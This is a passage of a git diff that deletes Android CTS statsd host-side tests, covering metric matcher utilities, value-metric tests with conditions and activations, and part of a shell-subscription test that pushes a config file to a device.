- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.google.protobuf.Message;
-import com.google.protobuf.Descriptors.Descriptor;
-import com.google.protobuf.Descriptors.FieldDescriptor;
-
-public class MetricsUtils {
- public static final long COUNT_METRIC_ID = 3333;
- public static final long DURATION_METRIC_ID = 4444;
- public static final long GAUGE_METRIC_ID = 5555;
- public static final long VALUE_METRIC_ID = 6666;
-
- public static AtomMatcher.Builder getAtomMatcher(int atomId) {
- AtomMatcher.Builder builder = AtomMatcher.newBuilder();
- builder.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomId));
- return builder;
- }
-
- public static AtomMatcher startAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.START.ordinal())))
- .build();
- }
-
- public static AtomMatcher startAtomMatcherWithLabel(int id, int label) {
- return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.START);
- }
-
- public static AtomMatcher stopAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.STOP.ordinal())))
- .build();
- }
-
- public static AtomMatcher stopAtomMatcherWithLabel(int id, int label) {
- return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.STOP);
- }
-
- public static AtomMatcher unspecifiedAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.UNSPECIFIED.ordinal())))
- .build();
- }
-
- public static AtomMatcher simpleAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder().setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER))
- .build();
- }
-
- public static AtomMatcher appBreadcrumbMatcherWithLabel(int id, int label) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(label)))
- .build();
- }
-
- public static AtomMatcher appBreadcrumbMatcherWithLabelAndState(int id, int label,
- final AppBreadcrumbReported.State state) {
-
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(state.ordinal()))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(label)))
- .build();
- }
-
- public static AtomMatcher simpleAtomMatcher(int id, int label) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(label)
- )
- )
- .build();
- }
-
- public static EventActivation.Builder createEventActivation(int ttlSecs, int matcherId,
- int cancelMatcherId) {
- return EventActivation.newBuilder()
- .setAtomMatcherId(matcherId)
- .setTtlSeconds(ttlSecs)
- .setDeactivationAtomMatcherId(cancelMatcherId);
- }
-
- public static long StringToId(String str) {
- return str.hashCode();
- }
-
- public static void assertBucketTimePresent(Message bucketInfo) {
- Descriptor descriptor = bucketInfo.getDescriptorForType();
- boolean found = false;
- FieldDescriptor bucketNum = descriptor.findFieldByName("bucket_num");
- FieldDescriptor startMillis = descriptor.findFieldByName("start_bucket_elapsed_millis");
- FieldDescriptor endMillis = descriptor.findFieldByName("end_bucket_elapsed_millis");
- if (bucketNum != null && bucketInfo.hasField(bucketNum)) {
- found = true;
- } else if (startMillis != null && bucketInfo.hasField(startMillis) &&
- endMillis != null && bucketInfo.hasField(endMillis)) {
- found = true;
- }
- assertWithMessage(
- "Bucket info did not have either bucket num or start and end elapsed millis"
- ).that(found).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
deleted file mode 100644
index 0cf5bbb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ /dev/null
@@ -1,465 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemElapsedRealtime;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.StatsLogReport.BucketDropReason;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-
-import com.android.tradefed.log.LogUtil;
-
-public class ValueMetricsTests extends DeviceAtomTestCase {
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
- public void testValueMetric() throws Exception {
- // Add AtomMatcher's.
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
- AtomMatcher atomMatcher =
- MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addAtomMatcher(atomMatcher);
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setBucket(TimeUnit.CTS)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- AppBreadcrumbReported.LABEL_FIELD_NUMBER)))
- .setDimensionsInWhat(FieldMatcher.newBuilder()
- .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .build())
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(1000);
- doAppBreadcrumbReportedStop(1);
- doAppBreadcrumbReportedStart(3);
- doAppBreadcrumbReportedStop(3);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
-
- int bucketCount = valueData.getData(0).getBucketInfoCount();
- assertThat(bucketCount).isGreaterThan(1);
- ValueMetricData data = valueData.getData(0);
- int totalValue = 0;
- for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
- assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
- totalValue += (int) bucketInfo.getValues(0).getValueLong();
- }
- assertThat(totalValue).isEqualTo(8);
- }
-
- // Test value metric with pulled atoms and across multiple buckets
- public void testPullerAcrossBuckets() throws Exception {
- // Add AtomMatcher's.
- final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
- final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
- final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addPredicate(Predicate.newBuilder()
- .setId(predicateName.hashCode())
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(predicateTrueName.hashCode())
- .setStop(predicateFalseName.hashCode())
- .setCountNesting(false)
- )
- );
-
- final String atomName = "SYSTEM_ELAPSED_REALTIME";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
- builder.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(atomName.hashCode())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
- .setCondition(predicateName.hashCode())
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(1);
- // Wait for 2 min and 1 sec to capture at least 2 buckets
- Thread.sleep(2*60_000 + 10_000);
- doAppBreadcrumbReportedStop(1);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
-
- int bucketCount = valueData.getData(0).getBucketInfoCount();
- // should have at least 2 buckets
- assertThat(bucketCount).isAtLeast(2);
- ValueMetricData data = valueData.getData(0);
- int totalValue = 0;
- for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
- assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
- totalValue += (int) bucketInfo.getValues(0).getValueLong();
- }
- // At most we lose one full min bucket
- assertThat(totalValue).isGreaterThan(130_000 - 60_000);
- }
-
- // Test value metric with pulled atoms and across multiple buckets
- public void testMultipleEventsPerBucket() throws Exception {
- // Add AtomMatcher's.
- final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
- final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
- final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addPredicate(Predicate.newBuilder()
- .setId(predicateName.hashCode())
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(predicateTrueName.hashCode())
- .setStop(predicateFalseName.hashCode())
- .setCountNesting(false)
- )
- );
-
- final String atomName = "SYSTEM_ELAPSED_REALTIME";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
- builder.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(atomName.hashCode())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
- .setCondition(predicateName.hashCode())
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- final int NUM_EVENTS = 10;
- final long GAP_INTERVAL = 10_000;
- // Create AppBreadcrumbReported Start/Stop events.
- for (int i = 0; i < NUM_EVENTS; i ++) {
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(GAP_INTERVAL);
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(GAP_INTERVAL);
- }
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
-
- int bucketCount = valueData.getData(0).getBucketInfoCount();
- // should have at least 2 buckets
- assertThat(bucketCount).isAtLeast(2);
- ValueMetricData data = valueData.getData(0);
- int totalValue = 0;
- for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
- assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
- totalValue += (int) bucketInfo.getValues(0).getValueLong();
- }
- // At most we lose one full min bucket
- assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
- }
-
- // Test value metric with pulled atoms and across multiple buckets
- public void testPullerAcrossBucketsWithActivation() throws Exception {
- StatsdConfig.Builder builder = createConfigBuilder();
-
- // Add AtomMatcher's.
- int activationAtomMatcherId = 1;
- int activationAtomMatcherLabel = 1;
- AtomMatcher activationAtomMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(
- activationAtomMatcherId, activationAtomMatcherLabel);
- final String atomName = "SYSTEM_ELAPSED_REALTIME";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
- builder.addAtomMatcher(activationAtomMatcher)
- .addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(atomName.hashCode())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
- .build());
- // Add activation.
- builder.addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.VALUE_METRIC_ID)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationAtomMatcherId)
- .setTtlSeconds(5)));
-
-
- // Upload config.
- uploadConfig(builder);
-
- // Wait for 1 min and 10 sec to capture at least 1 bucket
- Thread.sleep(60_000 + 10_000);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.getValueMetrics().getDataList()).isEmpty();
- // Bucket is skipped because metric is not activated.
- assertThat(metricReport.getValueMetrics().getSkippedList()).isNotEmpty();
- assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEventList()).isNotEmpty();
- assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEvent(0).getDropReason())
- .isEqualTo(BucketDropReason.NO_DATA);
- }
-
- public void testValueMetricWithConditionAndActivation() throws Exception {
- final int conditionLabel = 2;
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int whatMatcherId = 8;
- final int ttlSec = 5;
-
- // Add AtomMatchers.
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
- AtomMatcher activationMatcher =
- MetricsUtils.startAtomMatcherWithLabel(
- activationMatcherId, activationMatcherLabel);
- AtomMatcher whatMatcher =
- MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
- StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher)
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add ValueMetric.
- builder
- .addValueMetric(ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(whatMatcher.getId())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setCondition(predicate.getId())
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
- .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
- )
- .addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.VALUE_METRIC_ID)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)
- )
- );
-
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Skipped due to unknown condition at start of bucket.
- doAppBreadcrumbReported(10);
- Thread.sleep(10);
-
- // Skipped due to unknown condition at start of bucket.
- doAppBreadcrumbReported(200);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Log an event that should not be counted because condition is false.
- doAppBreadcrumbReported(3_000);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(40_000);
- Thread.sleep(10);
-
- // Condition to true again.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Event should not be counted, metric is still not active.
- doAppBreadcrumbReported(500_000);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted.
- doAppBreadcrumbReported(6_000_000);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(70_000_000);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- assertThat(metricReport.getIsActive()).isFalse();
-
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
- assertThat(valueData.getData(0).getBucketInfoCount()).isEqualTo(1);
- long totalValue = valueData.getData(0).getBucketInfoList().stream()
- .peek(MetricsUtils::assertBucketTimePresent)
- .peek(bucketInfo -> assertThat(bucketInfo.getValuesCount()).isEqualTo(1))
- .map(bucketInfo -> bucketInfo.getValues(0))
- .peek(value -> assertThat(value.getIndex()).isEqualTo(0))
- .mapToLong(value -> value.getValueLong())
- .sum();
- assertThat(totalValue).isEqualTo(6_000_000);
- }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
deleted file mode 100644
index ba980fb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.subscriber;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemUptime;
-import com.android.os.ShellConfig;
-import com.android.os.statsd.ShellDataProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.google.common.io.Files;
-import com.google.protobuf.InvalidProtocolBufferException;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Statsd shell data subscription test.
- */
-public class ShellSubscriberTest extends DeviceTestCase {
- private int sizetBytes;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- sizetBytes = getSizetBytes();
- }
-
- public void testShellSubscription() {
- if (sizetBytes < 0) {
- return;
- }
-
- ShellConfig.ShellSubscription config = createConfig();
- CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
- startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
- /*subscriptionTimeSec=*/5);
- checkOutput(receiver);
- }
-
- public void testShellSubscriptionReconnect() {
- if (sizetBytes < 0) {
- return;
- }
-
- ShellConfig.ShellSubscription config = createConfig();
- for (int i = 0; i < 5; i++) {
- CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
- // A subscription time of -1 means that statsd will not impose a timeout on the
- // subscription. Thus, the client will exit before statsd ends the subscription.
- startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
- /*subscriptionTimeSec=*/-1);
- checkOutput(receiver);
- }
- }
-
- private int getSizetBytes() {
- try {
- ITestDevice device = getDevice();
- if (CpuFeatures.isArm64(device)) {
- return 8;
- }
- if (CpuFeatures.isArm32(device)) {
- return 4;
- }
- return -1;
- } catch (DeviceNotAvailableException e) {
- return -1;
- }
- }
-
- // Choose a pulled atom that is likely to be supported on all devices (SYSTEM_UPTIME). Testing
- // pushed atoms is trickier because executeShellCommand() is blocking, so we cannot push a
- // breadcrumb event while the shell subscription is running.
- private ShellConfig.ShellSubscription createConfig() {
- return ShellConfig.ShellSubscription.newBuilder()
- .addPulled(ShellConfig.PulledAtomSubscription.newBuilder()
- .setMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
- .setFreqMillis(2000))
- .build();
- }
-
- /**
- * @param maxTimeoutForCommandSec maximum time imposed by adb that the command will run
- * @param subscriptionTimeSec maximum time imposed by statsd that the subscription will last
- */
- private void startSubscription(
- ShellConfig.ShellSubscription config,
- CollectingByteOutputReceiver receiver,
- int maxTimeoutForCommandSec,
- int subscriptionTimeSec) {
- LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
- try {
- File configFile = File.createTempFile("shellconfig", ".config");
- configFile.deleteOnExit();
- int length = config.toByteArray().length;
- byte[] combined = new byte[sizetBytes + config.toByteArray().length];
-
- System.arraycopy(IntToByteArrayLittleEndian(length), 0, combined, 0, sizetBytes);
- System.arraycopy(config.toByteArray(), 0, combined, sizetBytes, length);
-
- Files.write(combined, configFile);
- String remotePath = "/data/local/tmp/" + configFile.getName();
- getDevice().pushFile(configFile, remotePath);
- LogUtil.CLog.d("waiting....................");
-
- String cmd = String.join(" ", "cat", remotePath, "|", "cmd stats data-subscribe",
- String.valueOf(subscriptionTimeSec));
-
-
- getDevice().executeShellCommand(cmd, receiver, maxTimeoutForCommandSec,
- /*maxTimeToOutputShellResponse=*/maxTimeoutForCommandSec, TimeUnit.SECONDS,
- /*retryAttempts=*/0);
- getDevice().executeShellCommand("rm " + remotePath);
- } catch (Exception e) {
- fail(e.getMessage());
- }
- }
-
- private byte[] IntToByteArrayLittleEndian(int length) {
- ByteBuffer b = ByteBuffer.allocate(sizetBytes);
- b.order(ByteOrder.LITTLE_ENDIAN);
- b.putInt(length);
- return b.array();
- }
-
- // We do not know how much data will be returned, but we can check the data format.
- private void checkOutput(CollectingByteOutputReceiver receiver) {
- int atomCount = 0;
- int startIndex = 0;
-
- byte[] output = receiver.getOutput();
- assertThat(output.length).isGreaterThan(0);
- while (output.length > startIndex) {
- assertThat(output.length).isAtLeast(startIndex + sizetBytes);
- int dataLength = readSizetFromByteArray(output, startIndex);
- if (dataLength == 0) {
- // We have received a heartbeat from statsd. This heartbeat isn't accompanied by any
